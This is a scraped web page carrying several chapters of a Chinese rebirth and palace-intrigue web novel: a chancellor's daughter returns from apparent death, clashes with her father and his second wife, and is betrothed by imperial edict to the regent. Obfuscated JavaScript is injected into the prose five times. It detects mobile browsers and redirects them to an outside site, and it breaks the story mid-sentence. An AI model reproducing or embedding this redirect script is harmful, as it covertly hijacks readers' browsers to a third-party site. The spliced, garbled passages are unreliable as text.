母女俩不紧不慢地跟在后面,看着柳丞相焦急的背影,嘴角勾起一抹冷笑。 老太君的院子里已经**了不少人,府医正在诊治。 老太君躺在床上,面色发青,呼吸微弱。白嬷嬷也躺在一旁的榻上,情况好些,但仍未醒来。 “如何?”柳丞相急切地问道。 府医叹了口气:“老太君染了风寒,年事已高,需要好生调养。白嬷嬷也是受了风寒,不过情况较轻。” “好好的人怎会染上风寒?”柳丞相怒不可遏,“这大暖天的,怎会得风寒?” 一个丫鬟颤声道:“我们进来时,老太君和白嬷嬷都倒在门口,窗户大开,门帘也被人掀起...” “逆女!”柳丞相咬牙切齿,“肯定又是那个不省心的丫头搞的鬼!” 丫鬟们跪了一地,不停地磕头道谢。她们身子瑟瑟发抖,额头紧贴着冰凉的地砖,生怕一个动作不当就会改变自己的命运。 “都起来吧。”二夫人司氏神情高傲,“本夫人念在你们都是府里的老人,这次就饶了你们。若再有下次,休怪我不讲情面。” “谢二夫人开恩!”丫鬟们如蒙大赦,连连磕头。她们心知肚明,若不是二夫人开口,她们这些人怕是要被卖到勾栏院去了。 高府医正在为老太君诊脉,他眉头紧锁,神情凝重。柳丞相站在一旁,双手紧握成拳,指节泛白。 “高府医,老太君如何?”柳丞相声音沙哑,眼中满是焦虑。 高府医缓缓收回手,叹了口气:“老太君受了惊吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505472|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,加上年事已高,这才昏厥发热。老夫开几副安神退热的药,按时服用便是。” 柳丞相如释重负,连忙吩咐下人去抓药。待药煎好,他亲自端着汤药,一勺一勺地喂老太君服下。看着老太君终于安稳睡去,他紧绷的神经才稍稍放松。 然而想起那个逆女一大早闹出的动静,他又气得牙根发痒。若不是她不告而返,又不通报,怎会惊动了老太君? “高府医,你守在这里,等老太君退烧后再离开。” “是,丞相大人。” 柳丞相甩袖而去,直奔芳菲院。二夫人司氏和柳书兰紧随其后,这等热闹自然不能错过。 三年了,他已经整整三年没有踏入过那个院子。 走在熟悉的石板路上,往事涌上心头。曾经的欢声笑语仿佛还在耳边回响,那时的他与大夫人青梅竹马,恩爱有加。 二夫人暗中观察着丞相的表情,见他眼中闪过追忆,心中妒火中烧。她故作温柔地开口:“老爷,要不算了吧。大小姐兴许是昨晚回来太晚,这才忘了通报。” 这话反倒提醒了柳丞相,他脸色顿时阴沉下来:“这逆女分明是存心要吓死本相,看我怎么教训她!” 二夫人嘴角微勾。柳书兰也跟在母亲身后,眼中满是幸灾乐祸。 芳菲院内,母女二人正在用膳。院子里冷清得很,连个伺候的丫鬟都没有。 “娘亲,我们待会出府买些丫鬟吧。您看今早连个伺候的人都没有,连食盒都要我亲自去拿。”柳映雪柔声说道,眼中满是心疼。 大夫人朱氏握着筷子的手微微发抖,眼中寒意更甚。 堂堂丞相夫人,竟沦落至此。想起往日府中上百号人伺候,再看看如今的境地,她心如刀绞。 看着乖巧的女儿,她神色缓和:“好,听雪儿的。” 话音未落,院门被人一脚踹开。木门撞在墙上发出巨大的声响,惊得院中几只麻雀扑棱着翅膀飞走。 柳映雪眸光一闪,心道来得倒是不急。 若不是功力未复,她真想把这个渣爹踹出去。瞥见娘亲眼中的失落,她心中一动。 看来得尽快让娘亲死心才是。 柳丞相大步流星走进来,身后跟着一脸得意的司氏和柳书兰。他二话不说,抬手就朝柳映雪脸上扇去。 第七章 挨了一巴掌 柳映雪早有准备,暗中避让,让巴掌只是擦过脸颊。 她趁机抹上提前准备好的药粉,脸颊瞬间鼓胀得像个红彤彤的包子,又偷偷涂上鲜血。 她先看向娘亲,果然见朱氏脸色大变,眼中满是心疼和愤怒。 “雪儿!”朱氏冲上前抱住女儿,看着她肿胀的脸颊和嘴角的血迹,心如刀绞。 她颤抖着手想要替女儿擦去血迹,却被柳映雪轻轻拦住。 二夫人和柳书兰在一旁看得兴灾乐祸,眼中满是幸灾乐祸的笑意。 柳丞相这才回过神,意识到下手太重。 他看向朱氏,却对上一双陌生冰冷的眼睛。那双曾经盈满柔情的眸子,如今只剩下刺骨的寒意。 他心中一慌,但转念一想,不过是个商人之女,又能如何?当初若不是看在她家势力的份上,他又怎会娶她为妻? “你这个当娘的,女儿回来也不通报,害得全府大乱!”柳丞相怒喝道,“还有你这个孽女,祖母都晕倒发烧了,你不去请大夫,反倒开窗逃走。若是老太君有什么三长两短,你就去给她陪葬!” 这话狠毒至极,朱氏心中最后的期待也彻底破灭。她紧紧抱着女儿,眼中的泪水在眼眶中打转。 二夫人连忙箭步上前,试图缓解眼前剑拔**张的场面:“老爷息怒,姐姐定是太高兴了才忘记通报。”她脸上带着假惺惺的笑容,眼底却藏着算计。 朱氏冷眼看着这对狗男女,往事种种涌上心头。当初她以为遇到了良人,谁知道竟是个负心汉。 三年前那场变故,害得她母女被贬到这偏僻的芳菲院。 “滚开!本夫人与丞相说话,哪有你这个小妾插嘴的份!”朱氏冷声道。 “大夫人,你说谁是小妾?我娘可是平妻!”柳书兰尖声叫道。 柳映雪看着眼前这一幕闹剧,心中冷笑。她轻轻擦去嘴角的血迹。 既然他们这么想看她出丑,那她就好好演一出戏给他们看。 “父亲,女儿知错了。”柳映雪突然跪下,声音带着哭腔,“女儿昨晚回来太晚,一时糊涂才忘了通报。求父亲原谅。” 柳丞相没想到这个平日里倔强的女儿会突然认错,一时间有些愣住。 他看着跪在地上的女儿,心中竟升起一丝不忍。 但想到老太君的事,他又硬起心肠:“哼,知错就好。这次就饶了你,若再有下次,定不轻饶!” “多谢父亲。”柳映雪低着头,嘴角勾起一抹冷笑。 朱氏看着女儿的举动,心中一痛。她知道女儿是为了她才这样做,可她宁愿女儿像以前那样倔强。 二夫人见状,连忙上前扶起柳映雪:“姐姐快起来,地上凉。”她脸上带着关切的笑容。 柳书兰站在一旁,看着这一幕撇了撇嘴。她就知道,这个姐姐早晚会低头认错。 柳丞相见事情告一段落,便带着二房母女离开了芳菲院。 临走前,他回头看了一眼朱氏,却只看到一个清冷的背影。 待他们走后,柳映雪才站起身,拍了拍裙摆上的灰尘。她看向朱氏,柔声道:“娘亲,我们继续用膳吧。” 朱氏看着女儿,心疼地抚摸着她的脸颊:“雪儿,你不必如此委屈自己。” “娘亲放心,女儿心里有数。总有一天,我会让他们付出代价。” 朱氏叹了口气,不再多说。 她知道女儿性子倔强,认定的事就不会改变。只是她担心,女儿会因此迷失自己。 芳菲院又恢复了往日的平静,只是这平静下暗流涌动。 朱氏站在窗前,她凝视着庭院里新栽种的海棠,那是那个女人最爱的花。 “夫人,那位...那位姜姨娘今早又让人送了两盆海棠来。”贴身丫鬟小声禀报。 朱氏说:“放在后院吧,免得碍眼。” “是。”丫鬟应声退下,脚步轻得几乎听不见声响。 朱氏望着院中忙碌的下人们。这座她经营了二十年的府邸,如今却要为一个外室让路。 “娘。”柳映雪推门而入,看到母亲孤单的背影。 朱氏转身,脸上浮现出温柔的笑意:“雪儿来了。”她伸手抚摸着女儿的发丝,“这些日子累坏了吧?” 柳映雪摇摇头,握住母亲的手:“娘,您别担心我。” 正说着,外头传来一阵喧哗。朱氏走到窗前,只见一顶轿子停在府门外,几个丫鬟簇拥着一个身着淡粉色衣裙的女子走了进来。 “又是她。”朱氏的声音冷了下来。 柳映雪也看到了那个女人,那张与自己有几分相似的脸上带着得体的笑容,举手投足间尽是优雅。若是不知情的人,怕是真要以为她是什么名门闺秀。 “夫人,相爷请您去书房一叙。”管家在门外恭敬地说道。 朱氏整理了一下衣襟,对柳映雪道:“雪儿在这里等着,娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505473|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去去就回。” 书房内,柳丞相正在批阅公文。听到脚步声,他抬起头。 “夫人请坐。”他放下手中的毛笔。 朱氏在椅子上坐下,目光平静地看着眼前这个共度了半生的男人:“不知相爷唤我来有何要事?” 柳丞相沉默片刻,开口道:“姜氏的事......” “平妻?”朱氏打断了他的话,嘴角勾起一抹冷笑,“整个青云国,也就只有柳府有这等新鲜事。一个尚书府都看不上的庶女,在你眼里倒成了珍宝。” “你听我解释......” “不必解释。”朱氏站起身,“外头的人都在传,说柳丞相把外室接回府中,还封了平妻。若是寻常官家嫡女也就罢了,注定被家族唾弃的卑微庶出女儿。慕大人,你可真是让青云国开了眼界。” 柳丞相脸色铁青,指着朱氏的手都在发抖:“你、你简直疯了!” “是啊,我是疯了。”朱氏冷笑一声,“这些年为柳府填补了多少银两,就连你这荒唐的平妻之事我都忍了。如今倒好,一个外室生的私生子女,摇身一变成了柳府的嫡出。” 她转头看向门外,仿佛能透过门板看到远处的柳映雪:“女儿意外重获新生,你这个做父亲的可曾问过一句她是如何回来的?非但不问,还要动手打她!” 柳丞相张了张嘴,却说不出话来。那日的情景还历历在目,他是被气昏了头,才会对着刚回来的女儿动手。 “从你打女儿那一刻起,婚姻早已走到了尽头。”朱氏整理了一下衣袖,“明日我便带着雪儿去清溪居养病。这府中莺莺燕燕太多,不适合静养。” 柳丞相听到这话,脸色顿时一变。他清楚得很,没有朱氏的贴补,柳府哪来的富贵排场?那点微薄的俸禄,连同僚间的应酬都难以维持。 “语容......”他放软了语气,“多年来的艰辛与付出我都看在眼里。要不,管家权还是交给你?” 朱氏听到这个许久未闻的闺名,眼中厌恶更甚。她看着眼前这个曾经意气风发的男人,只觉得陌生得很。 “相爷还是留着这些话去哄你的平妻吧。”她转身欲走,却又停下脚步,“对了,明日是太后寿辰,我已经准备好了贺礼。相爷若是觉得不妥,现在还来得及换。” 柳丞相一愣:“夫人费心了。” 就在这时,一个小厮匆匆跑来:“启禀相爷,宫里来人传圣旨了!” 第八章 圣旨来了 柳映雪站在铜镜前,指尖轻轻拂过额前的碎发。她抬手轻抚着腕间的玉镯,那是她“死”前最后戴的饰物。 “大小姐,该去前厅了。”丫鬟绿萱轻声提醒。 “嗯。”柳映雪微微颔首,跟在大夫人朱氏身后,缓步向前厅走去。 今日能够听圣旨的人并不多,除了卧病在床的老太君,就只有大夫人朱氏、二夫人,还有她和柳书兰。至于那些姨娘小妾,自然是没这个资格的。 前厅里,柳丞相已经在主位坐定。他身着正式官服,面容严肃。 “老爷。”朱氏上前行礼,声音温婉动听。 柳映雪站在一旁,目光不经意间扫过二夫人和柳书兰。只见柳书兰一袭淡粉色长裙,正低着头,做出一副楚楚可怜的模样。二夫人则是满脸喜色,眼底闪烁着掩饰不住的得意。 没多久,司公公带着圣旨到了。他一进门就眉开眼笑,脚步轻快地向柳丞相走去:“哎哟,柳丞相,咱家可要恭喜您了!这可真是天大的喜事啊!” 柳丞相眉头微皱:“司公公说的是何喜事?” “丞相大人稍安勿躁,马上就知道了。”司公公笑眯眯地环视四周,目光在柳书兰身上多停留了片刻,“人都到齐了吗?咱家这就宣读圣旨。” 柳丞相扫视一圈:“家母身体抱恙,不能下床,大伙儿已经全部到场了。” “那好,请诸位跪下接旨。” 众人纷纷跪地,只有柳映雪借着裙摆遮掩,半蹲在地上。她的目光微垂,嘴角勾起一抹若有若无的笑意。 司公公清了清嗓子。第一道圣旨简短明了,就是解除她与三皇子的婚约。 听到这里,柳映雪忍不住在心里发笑。她都已经“死”过一次了,这婚约自然是要解除的。只是没想到,皇上这么快就下了圣旨。 不等众人起身,司公公又掏出第二道圣旨。这一次的内容就长得多了,说什么柳书兰贤良淑德,温婉大方,与三皇子天作之合,要赐婚给三皇子为妃。 柳映雪听得直想翻白眼。那个心思歹毒的柳书兰,也能被夸得这般天花乱坠? 更有意思的是,圣旨上说的是“为妃”,可没说是正妃还是侧妃。这其中的玄机,怕是要让某些人失望了。 二夫人和柳书兰激动得连连磕头,脸上的喜色几乎要溢出来。柳映雪注意到,柳书兰那双含着泪光的眼睛里,闪过一丝得意。 朱氏的脸色有些发白,但很快就恢复如常。她温柔地看了柳映雪一眼,眼中满是心疼。 宣读完圣旨,司公公收起圣旨准备离开。柳映雪这时不紧不慢地站起身,迈着优雅的步子走到柳丞相面前:“父亲,我的圣旨,还是由我来保管吧。” 不等柳丞相反应,她就把那道退婚圣旨拿在了手中。 司公公见状,还以为她是柳书兰,连忙恭维道:“二小姐果然气质非凡,与三皇子当真是天造地设的一对。” “司公公认错人了。”柳映雪转过身,嘴角挂着意味深长的笑容,“我是柳府大小姐,柳映雪。” 这话一出,司公公如遭雷击,连连后退:“这...这怎么可能?大小姐不是已经...已经...” 柳丞相只得解释说是死而复生,还让司叔塞了一张银票给司公公。 司公公拿着银票,看看柳丞相,又看看柳映雪那带着几分诡异的笑容,只觉得背后发凉,赶紧告辞离去。 “姐姐,”柳书兰突然开口,声音甜美,“你能回来真是太好了。以后我嫁入皇家,一定会好好照顾你的。” 柳映雪转头看向她,目光平静得有些可怕:“不必了,书兰妹妹。你还是先弄清楚自己是正妃还是侧妃吧。” 这话像一盆冷水,浇在了二夫人和柳书兰头上。二夫人脸色骤变:“你...你胡说什么?圣旨上明明说是赐婚为妃!” “是啊,为妃。”柳映雪轻笑一声,“可没说是正妃呢。二夫人这么着急,莫非心里有鬼?” 二夫人被这话噎住,脸色一阵青一阵白。柳书兰则是咬着嘴唇。 长乐宫内,一缕茶香袅袅升起。 卢皇后慵懒地靠在软榻上,手中把玩着一只青瓷茶盏。 “嬷嬷,”她轻声开口,声音如同晓风拂过,“柳大小姐的死讯传来,倒是省了本宫不少心思。” 站在一旁的卢嬷嬷手法娴熟地为皇后捏着肩膀,闻言手上动作顿了顿:“娘娘说得是。只是......”她欲言又止,眉头微蹙。 “有话直说。”卢皇后放下茶盏,凤袖轻摆。 “只是那观星台郭大人曾言柳大小姐有凤命之相,如今人已故去,这凤命之说......”卢嬷嬷的声音越来越低。 “无妨。”卢皇后站起身说,“柳府不是还有个二小姐么?虽说其母是个庶女,但好歹也是柳府血脉。本宫只要她做个侧妃便是。” 她转身,裙摆划出一道优美的弧度:“如此既不耽误傲儿的大事,又能拉拢柳丞相,岂不是两全其美?” 卢嬷嬷躬身道:“娘娘考虑得周到。只是三皇子殿下的正妃之位......” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505474|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这个不急。”卢皇后重新坐回软榻,“本宫自有打算。”她顿了顿,脸上浮现出一抹慈爱的笑容,“傲儿这孩子,就是太孝顺了。前些日子还特意命人从西域寻来了一株千年雪莲,就为博本宫一笑。” “三皇子确实比旁的皇子都强。”卢嬷嬷适时奉上恭维,“不论心计谋略,还是为人处世,都是上上之选。” “是啊......”卢皇后的目光渐渐迷离,仿佛看到了什么美好的画面。 就在此时,殿外传来急促的脚步声。 “娘娘!”一个小宫女慌慌张张地跑进来,“大事不好了!柳府那边......” “慌什么!”卢嬷嬷厉声呵斥,“成何体统!” 小宫女这才意识到自己的失态,连忙跪下:“奴婢该死。只是......只是柳大小姐她......” “她怎么了?”卢皇后蹙眉。 “柳大小姐她......她活过来了!” “什么?!”卢皇后猛地站起身,茶盏翻倒,茶水洒了一桌。她顾不得这些,死死盯着跪在地上的小宫女,“你说什么?” 与此同时,明德殿内。 皇帝放下手中的奏折,眉头紧锁:“司公公,把观星台的郭大人宣来。” 不多时,郭大人颤颤巍巍地走进明德殿。他的额头已经渗出细密的汗珠,显然已经知道了什么。 “郭爱卿。”皇帝的声音低沉,“朕问你,你可曾听闻过这世间惊天动地的奇迹?” 郭大人面色骤变,双膝一软跪了下来:“回......回陛下,此事关系重大。死而复生者,因果已断又续,非大吉即大凶。或为救世圣人,或为祸乱之源。” “那柳大小姐......” “陛下!”郭大人猛地磕头,声音带着颤抖,“柳大小姐若真死而复生,恐怕会给青云国带来大劫!其命格已然改变,势必会影响身边之人!” 皇帝冷笑一声,站起身在明德殿内来回踱步:“一个弱女子,能掀起多大风浪?” 他走到窗前,望着远处巍峨的宫墙。沉吟片刻:“既如此,不如将她许配给摄政王为妃。” “陛下不可!”郭大人额头抵地,声音急切,“王爷的命格......” “够了!”皇帝不耐烦地挥手,“退下吧。” 看着郭大人颤巍巍离去的背影,皇帝眼中满是阴冷。若真如郭大人所说会带来灾祸,那正好让摄政王也尝尝这份“喜事”。这个常年让他寝食难安的皇弟,也该有个人来牵制了。 第九章 许配给摄政王 这消息很快传遍了整个皇宫。 后宫中,各位妃嫔议论纷纷。有人说柳大小姐是得了仙缘,有人说她是被邪祟附体,更有人说这其中必有蹊跷。 太后的寝宫内,年迈的太后正在听着身边的嬷嬷讲述此事。 “哀家记得,”太后缓缓开口,“当年郭大人为柳大小姐看相时,曾说她命格奇特,是百年难得一见的凤命。” “可不是么。”嬷嬷应道,“当时可把卢皇后急坏了,生怕三皇子妃的位置被抢了去。” 太后轻轻摇头,她的目光望向远处。 郭大人走出明德殿,抬头望向阴沉的天空。厚重的乌云压得极低。 “青云国要变天了。”他喃喃自语,声音几不可闻,“不,是整个天下都要变天了。” 凤女归来,这可不是什么小事。郭大人深知,一旦天命转动,谁也无法阻挡。他颤巍巍地向观星台走去,脚步虚浮。 寒风中,他的身影显得格外单薄。御花园里的梅花已经凋零,只剩下光秃秃的枝干在风中摇曳。 郭大人驻足片刻,望着这萧瑟的景象,不由得想起了十年前的那个雪天。 那时的柳大小姐还是个天真烂漫的少女,谁能想到她会遭遇那样的劫难。 如今她重生归来,命格逆转,与摄政王竟成了天造地设的一对。不但不会带来灾祸,反而能助摄政王逢凶化吉。 想到这里,郭大人不禁叹了口气。他摸了摸胸前的玉佩,那是当年老皇帝赐下的。玉佩上刻着一个“忠”字,此刻却仿佛千斤重。 书房内,皇上坐在龙椅上,面色阴沉如铁。案几上的奏折堆积如山,却无人敢上前打扰。 今早明理阁卿的密报让他怒不可遏。中了剧毒的摄政王,居然还能从暗卫的围追堵截中逃脱! “可恨!”皇上重重拍了下案几,茶盏应声而碎,茶水溅了一地。 摄政王萧寒瑾,他最小的皇弟,老皇帝临终前留给他的最大隐患。那十万青岩军,就是一把悬在他头顶的利剑。想到郭大人所说的预言,皇上冷笑一声,提笔写下两道圣旨。 明德殿外,司公公正跪在地上,瑟瑟发抖。 他已经在这里跪了一个时辰,膝盖早已疼得麻木。终于,内侍总管捧着圣旨走了出来。 “司福生,去摄政王府宣旨。”内侍总管居高临下地看着他,“记住,一个字都不能错。” 司公公战战兢兢地来到摄政王府。往常每次来此,都免不了一番折辱。可今日,府中下人却出奇地客气。 绿竹恭敬地接过圣旨,还给了丰厚的打赏。这让司公公有些受宠若惊,连连道谢着离开。 摄政王府内,萧寒瑾正听着属下汇报。 “那个小丫头,倒是有趣。”他想起早上看到的一幕,嘴角微微上扬。一个敢把祖母拖到门口的姑娘,若是成了他的王妃,日子定然不会无趣。 绿竹站在一旁,看着自家主子难得的好心情,心中暗暗称奇。往日里,王爷总是一副生人勿近的模样,今日却像是变了个人似的。 绿竹愣了一下,这还是他认识的那个冷面王爷吗?他偷偷瞄了眼自家主子,只见王爷正望着窗外出神。 柳府这边,柳映雪轻轻推开院门,目光警惕地扫视四周。庭院里一片寂静叫。 确认无人后,她快步走到假山后的隐蔽处,这才进入空间查看。 每一本都散发着岁月的沧桑气息,泛黄的纸页上密密麻麻记载着历代柳家先祖的心血。 角落里,现代医疗设备闪烁着金属的冷光,手术台、监护仪、心电图机等一应俱全。 她伸手抚过那些先进仪器,眉头微蹙:“这些东西现在还不能拿出去用,否则怕是要被当成妖邪之物。” 忽然,一阵细微的水声传入耳中。 柳映雪循声望去,只见角落里的石池正缓缓渗出清澈的泉水。五平方大小的水池中,泉水汩汩而出,在阳光下泛着莹润的光泽。 “终于......”她快步走到池边,指尖轻轻触碰水面,清凉的触感让她浑身一震。 前世她用尽各种方法都未能让这池子出水,甚至一度以为这只是一个普通的石池。没想到重生到这个世界后,泉水竟自行涌出。 她想起祖宗手札中的记载——此泉可治百病,解百毒,更能起死回生。 “月露水......”她轻声念道,“有了它,摄政王体内的二十种剧毒就不足为惧了。” 她取出一个玉瓶,小心翼翼地装了些泉水。随即又皱眉思索:“不过也不能一下子就把他治好,得让他欠我一个天大的人情才行。这摄政王权倾朝野,若能为我所用......” 看了看时辰,她赶紧收起玉瓶,拿了个包袱出了空间,直奔母亲朱氏的院子。 推开雕花木门,眼前的景象让她愣住了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505475|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 整个屋子堆满了价值连城的珍品,翡翠玉器、金银首饰、名贵字画,还有各色绫罗绸缎,每一件都价值千金。 “雪儿来了?”朱氏放下手中的檀木匣子,温柔地看着女儿,“这些没价值的玩意儿,就别费劲收拾了,只带些贵重的就行。清溪居那边娘以前也布置过。” 柳映雪看着满屋子的珍宝,忍不住在心里感叹:这就是她娘的豪横之处,动辄千金的物件在她眼里竟是“不值钱的东西”。 “娘,我们今天就搬去清溪居吧?那里远吗?”她走到朱氏身边,帮着整理物件。 “就在城郊,环境清幽。当初是为了给你养病置办的。”朱氏轻抚女儿的发丝,“坐马车半个时辰就到。那里有竹林环绕,还有一片梅园,最适合你静养。” “那我们现在就走吧,我不想在这府里多待。”柳映雪握住母亲的手,语气坚定。 趁着朱氏在收拾细软,柳映雪借故回屋,迅速将整个院子里值钱的物件都收入空间。从锦缎床幔到厨房里的锅碗瓢盆,一件不落。就连墙上挂着的名家字画也被她一并收走。 “这些东西,可不能便宜了那对母女。”她冷笑着想起继母和妹妹平日里对她的刁难。 正当母女俩准备离开时,一阵急促的脚步声传来。一个丫鬟慌慌张张地跑进院子:“大夫人,大小姐,大人召集众人,准备接旨!” 前厅里,司公公笑容满面地看着柳映雪:“恭喜大小姐,贺喜大夫人!” 还不等众人反应,他已经展开了明黄色的圣旨:“奉天承运,皇帝诏曰......” 当听到“赐婚予摄政王为正妃”时,柳映雪只觉得一股无名火直冲脑门。她死死攥着衣袖,指甲几乎要刺进掌心。 柳映雪站在院中,听着那道圣旨,只觉得胸口一团火在燃烧。 她冷眼看着那金光闪闪的圣旨,嘴角勾起一抹冷笑。这狗皇帝,分明是在拿她寻开心。 “柳大小姐,还请接旨。”司公公那尖细的嗓音再次响起,带着几分催促。 柳映雪抬眼,看着那张谄媚的脸,心中暗骂:方才还在为三皇子退婚一事闹得不可开交,这会子又来赐什么摄政王的婚事。她柳映雪,就这般任人摆布? 院中众人面面相觑,谁也没想到事情会有这样的转折。 下人们低着头,不敢抬眼看这一幕,却竖起了耳朵,生怕错过任何细节。 第十章 值钱的都搬走 柳书兰更是脸色煞白,她刚刚还在沾沾自喜自己要嫁给三皇子,转眼间柳映雪就要成了摄政王妃,这岂不是要比她高上一等? “娘......”柳书兰慌乱地拉住司氏的衣袖,声音里带着几分哭腔。 司氏轻拍女儿的手背。她看向柳映雪的目光愈发阴冷。 柳映雪将这一切尽收眼底,忽然觉得心情好了不少。 看着柳书兰那副惊慌失措的样子,她突然觉得这赐婚也不是什么坏事。 至少,能让这对母女不痛快。 “臣女接旨。”她上前一步,接过那道圣旨。动作优雅从容,丝毫看不出半分病态。 柳丞相这才回过神来。他的额头上已经沁出了细密的汗珠,显然对这突如其来的变故也感到措手不及。 “大夫人这是要去哪?”司公公收了银票,笑眯眯地问道。他的目光在朱氏身上打量,似乎在揣测这位大夫人的心思。 朱氏神色淡然。 司公公尴尬地咳嗽两声,匆匆告辞。临走时还不忘打量了柳映雪几眼,似乎在琢磨这位大小姐是否真如传言中那般体弱。 待宫里的人走后,柳映雪便拉着朱氏往府门口走去。 她知道,关于她死而复生的传言已经传遍了整个京城。 刚出府门,一辆华贵的马车便停在了她们面前。马车通体漆黑,车帘上绣着暗金色的纹路,低调中透着不容忽视的气势。 “在下拜见柳小姐。”绿竹从马车上跳下来,恭敬地行礼,“我家王爷特意派马车来接大小姐。” 柳映雪挑眉,这摄政王的消息倒是灵通。 她的目光在马车上扫过,心中暗自盘算着这位摄政王的用意。 朱氏担忧地看着女儿,生怕她抗拒这门婚事。毕竟,摄政王在朝中的威名,可不是什么好事。 “娘,”柳映雪轻声道,“咱们就坐这辆马车吧,也省得再找别的车了。” 朱氏见女儿神色如常,这才稍稍放心。她知道女儿聪明,定然有自己的打算。 马车缓缓驶离,柳丞相急匆匆赶到府门口时,只看到远去的车影。他站在原地,神色复杂,不知在想些什么。 “看样子是王府的马车......”守门小厮低声回禀,声音里带着几分敬畏。 柳丞相站在门口,久久未动。 马车内,柳映雪靠在软垫上,闭目养神。她能感觉到母亲的担忧,但她现在没有心思去安慰。 她的脑海中不断回放着方才的一幕幕:司公公念诵圣旨时那意味深长的眼神,柳书兰母女的反应,还有父亲那复杂的表情。 她死而复生的秘密终究瞒不住,与其等着别人揭穿,不如主动出击。 至于摄政王......柳映雪的唇角勾起一抹若有若无的笑意。既然皇上要她去送死,那她偏要活得好好的,看看这些人到底想玩什么把戏。 马车在街道上缓缓前行,车帘被风掀起一角,露出外面熙熙攘攘的街景。柳映雪看着那些行色匆匆的路人,突然觉得有些讽刺。 这些人或许正在谈论她的死而复生,或许在议论这场突如其来的赐婚。但他们永远不会知道,在这看似荣耀的赐婚背后,究竟隐藏着怎样的算计。 朱氏握住女儿的手,感受到那微凉的温度,心中一阵刺痛。她多希望能替女儿承担这一切,但她知道,从今以后,女儿要面对的,将是更加险恶的局面。 马车继续向前,驶向城郊的清溪居。这一路,注定不会平静。但柳映雪已经做好了准备,既然活过来一次,她就不会再让任何人轻易左右她的命运。 柳书兰倚在窗边,手指轻轻敲打着窗棂。院子里的海棠花开得正艳,粉白的花瓣随风飘落,却衬得她眼底暗沉。 她望着不远处的芳菲院,嘴角勾起一抹冷笑。 “娘,”她收回目光,转身看向正在梳妆的母亲,“那**现在是摄政王的未婚妻,我们暂时动不得她。不过以摄政王的性子,说不定哪天一个不高兴,就会让她永远消失。” 二夫人放下手中的胭脂,镜中倒映出她精致的面容和若有所思的神情。“你说得对,不过......”她停顿片刻,“我们也不能完全坐以待毙。上次的**竟然被她化解了,这次得换些烈性的。” “高府医那边......” “我已经打点好了,”二夫人打断女儿的话,“他配的**保证一次见效,吃下去就再也醒不过来。” 柳书兰眼底闪过一丝快意,但很快又变成了贪婪的神色。她走到母亲身边,压低声音道:“娘,我刚才看大夫人她们走得匆忙,什么都没带走。她房里那些值钱的摆件,随便一个都值上千两呢。” “既然她们不要了......”二夫人意味深长地看了女儿一眼,“放着也是浪费。” 母女俩相视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505476|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,默契地达成共识。二夫人唤来贴身丫鬟小竹,吩咐她带人去大夫人院子搬东西。 柳书兰百无聊赖地把玩着手中的玉簪,脑海中已经在盘算着该如何处置那些值钱的物件。 突然,一阵急促的脚步声打断了她的思绪。小竹慌慌张张地跑进来,额头上还挂着细密的汗珠。 “二夫人,大小姐,不好了!”小竹跪在地上,声音里带着惊慌,“大夫人院子里......什么都没有了!” “什么?”柳书兰腾地站起来,玉簪啪嗒一声掉在地上,“你这贱婢是不是眼瞎?她们走时明明只带了一个小包袱!” 小竹连连磕头:“奴婢句句属实,连床榻、厨具都不见了。就连墙上的字画、架子上的古董,统统都不见了!” 二夫人和柳书兰面面相觑,昨晚她们还在芳菲院看到那些价值连城的摆件,怎么一早上的功夫,院子就空了? 